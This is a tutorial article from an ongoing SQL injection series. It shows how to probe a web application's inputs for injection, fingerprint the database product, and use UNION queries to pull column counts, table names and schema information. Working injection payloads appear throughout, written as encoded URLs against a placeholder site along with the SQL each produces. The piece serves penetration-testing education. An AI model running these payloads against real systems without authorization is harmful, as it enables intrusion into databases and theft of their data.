SQL Injection 101: How to Fingerprint Databases & Perform General Reconnaissance for a More Successful Attack

How to Fingerprint Databases & Perform General Reconnaissance for a More Successful Attack

Know thy enemy — wise words that can be applied to many different situations, including database hacking. It is essential to performing adequate reconnaissance on a system before even thinking about launching an attack — any type of attack — and this is no different for SQL injection.

The first part of this series covered the basics of databases, SQL, and SQL injection to provide a solid foundation you could build upon. Now, we are ready to explore methods to identify and fingerprint databases so we can focus our attacks more efficiently. If you haven't checked out the previous article, hit up the link below to do so before continuing.

Initial Probing

Before any attacks are launched, we first need to test if the application is vulnerable to SQL injection. Any place where it could interact with a database is potentially a target, so it's important to try out all the input fields to determine if they are vulnerable.

Usually, trying a single quote (') is an excellent place to start — this is used in SQL to end a string, and if the input isn't properly filtered, it is likely to return an error. A semicolon (;) can also be tried since it is used to end SQL statements. Comment characters such as -- and /* */ will also likely generate errors, as well as keywords like OR and AND. Another way to fool the database into returning an error is to input a number where a string is expected or vice versa.

Sometimes, we can check if a webpage is vulnerable to SQL injection through the URL parameters. The following URL is a typical example of how a database displays products or information on a webpage:

http://www.exampleurl.com/product.php?id=4

In this case, id is a parameter and 4 is its value. Here is what this query looks like to the database:

SELECT * FROM Products WHERE ProductID=4;

We can test for injection using the same methods utilized for input fields like before, and if errors are generated, we can be reasonably confident that injection is possible.

It is essential to be cognizant of responses from the server when testing for SQL injection. Often, we won't be so lucky to have detailed error messages displayed right in front of us, so checking the source code of the webpage can prove useful. Sometimes, even a blank page that is returned is an indicator that a vulnerability exists.

Database Fingerprinting

There are many types of database systems that exist, so it is wise to figure out which RDBMS we are up against before launching an attack. Not only does this save time and frustration, but it also narrows down the number of attack vectors to try. The following examples will go over techniques to accomplish this for MySQL, Microsoft SQL Server, PostgreSQL, and Oracle Database.

Method 1: Query Database for Version Info

The first thing we can try is to query the database for its version information. These commands are built into the database so this is often the easiest path to identification. Here are the injections:

  • MySQL: SELECT version()
  • MS SQL: SELECT @@version
  • PostgreSQL: SELECT version()
  • Oracle: SELECT version FROM v$instance or SELECT FROM PRODUCT_COMPONENT_VERSION

Using the previous example URL, here is the injection for MySQL and PostgreSQL:

http://www.exampleurl.com/product.php?id=4%20UNION%20SELECT%20version()

And this is what's passed to the database:

SELECT  *
FROM    Products
WHERE   ProductID = 4
UNION
SELECT  version();

For MS SQL:

http://www.exampleurl.com/product.php?id=4%20UNION%20SELECT%20@@version

And the database query:

SELECT  *
FROM    Products
WHERE   ProductID = 4
UNION
SELECT  @@version;

For Oracle:

http://www.exampleurl.com/product.php?id=4%20UNION%20SELECT%20version%20FROM%20v$instance

Database query:

SELECT  *
FROM    Products
WHERE   ProductID = 4
UNION
SELECT  version
FROM    v$instance;

Method 2: Use a Boolean Query

The next method to try deals with string concatenation, since different database systems handle this in different ways. This is achieved by tacking on a Boolean test, and if the query returns true, you know that it worked. Here is how each RDBMS handles string concatenation:

  • MySQL: CONCAT('a','b')
  • MS SQL: 'a' + 'b'
  • PostgreSQL: 'a' || 'b'
  • Oracle: CONCAT('a','b') or 'a' || 'b'

So let's take a look at the following URL using MySQL or Oracle as the database:

http://www.exampleurl.com/product.php?id=4%20AND%20%27ab%27=CONCAT%28%27a%27%2C%27b%27%29

The following is the resulting query. If this returns true, then you know that you are either dealing with Oracle or MySQL.

SELECT  *
FROM    Products
WHERE   ProductID = 4
    AND 'ab' = CONCAT('a','b');

From here, you can try the same injection with the other Oracle string concatenation command, which also works for PostgreSQL:

http://www.exampleurl.com/product.php?id=4%20AND%20%27ab%27=%27a%27%20||%20%27b%27

And the resulting query is as follows. If it doesn't work, and the first Oracle or MySQL did, then at this point, you can be pretty confident the database is MySQL.

SELECT  *
FROM    Products
WHERE   ProductID = 4
    AND 'ab' = 'a' || 'b';

Here is what it would look like for MS SQL:

http://www.exampleurl.com/product.php?id=4%20AND%20%27ab%27=%27a%27%20+%20%27b%27

And the database query:

SELECT  *
FROM    Products
WHERE   ProductID = 4
    AND 'ab' = 'a' + 'b';

Method 3: Analyze Error Messages Received

Another useful way to identify the database is to simply analyze the error messages received from the application when testing for injection flaws. MySQL will usually return something like this:

Cannot query the database.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "'" at line 1

Oracle will display the characters "ORA" followed by a dash and a five-digit number. MS SQL and PostgreSQL aren't quite as straightforward to recognize, but playing around with different inputs will usually lead to desired results (or a quick Google search of the error will also work).

Method 4: Make an Educated Guess

Finally, if all else fails, we can usually make an educated guess as to what type of database an application is using. Sites coded in PHP will often use MySQL as a database. Microsoft .Net usually employs MS SQL. Python web apps such as Django often utilize PostgreSQL. And Oracle is most often used for Java applications. Once we know what type of database we're working with, it makes it a lot easier to perform more advanced information gathering.

Finding Table Names

In order to get the most out of SQL injection, we need to know what tables are actually present in the database. The UNION operator can be used to join a forged query to the original, allowing us to view data from other tables. Let's take a look at the Users and Admins tables from the previous article:

We can use the following query to begin extracting information from the tables:

SELECT      *
FROM        Users
WHERE       ID = 1
ORDER BY    4;

The first thing that needs to be done for this to be successful is to determine the correct number of columns since the SELECT statements within the UNION need to have the same number of them. This can be achieved by using the ORDER BY clause, we would just have to gradually increment the number to ORDER BY (as in ORDER BY 5, ORDER BY 6, etc.), and once the query fails, we can safely assume there are that many columns present.

Next, we need to determine the data type of each column. This can be accomplished by a bit of trial and error utilizing null values. Using the tables from before, we can begin by guessing the data type of the first column:

SELECT  *
FROM    Users
UNION
SELECT   1
        ,null
        ,null
        ,null--

We know that there are four total columns, so we can try an integer in the first column followed by three null values (frequently, the first column is an id of some sort, so it makes sense to try an integer first). If the query is successful, we can assume we have the right data type and move on to the next column as so:

SELECT  *
FROM    Users
UNION
SELECT   1
        ,'x'
        ,null
        ,null--

The 'x' in quotes indicate a string, and once we are successful, we can move on using the same process for the remaining columns.

Extracting Schema Information

Most databases also have built-in tables that contain schema information and metadata relating to other tables in the system. We can use a UNION-based injection to retrieve this data. MySQL, MS SQL, and PostgreSQL all use the table informationschema.tables, which contains the columns table_name and table_schema. So the injection could look something like this:

SELECT   ID
        ,Name
FROM    Users
UNION
SELECT   table_name
        ,table_schema
FROM    information_schema.tables--

Oracle uses a slightly different naming convention, but the concept is the same:

SELECT   ID
        ,Name
FROM    Users
UNION
SELECT   table_name
        ,owner
FROM    all_tables--

As you can see, UNION-based SQL injection can expose a lot of information about other tables in the database.

Stay Tuned for More on SQL Injection

Information gathering is one of the most important steps to successful penetration testing and hacking. Now that we have covered methods to identify key information about a database, we can move on to advanced SQL injection techniques. So stay tuned, as we'll have a new SQL injection guide up in the near future to continue this series.

Cover image by Kevin Ku/Pexels; Screenshots by drd_/Null Byte

Be the First to Comment

Share Your Thoughts

  • Hot
  • Latest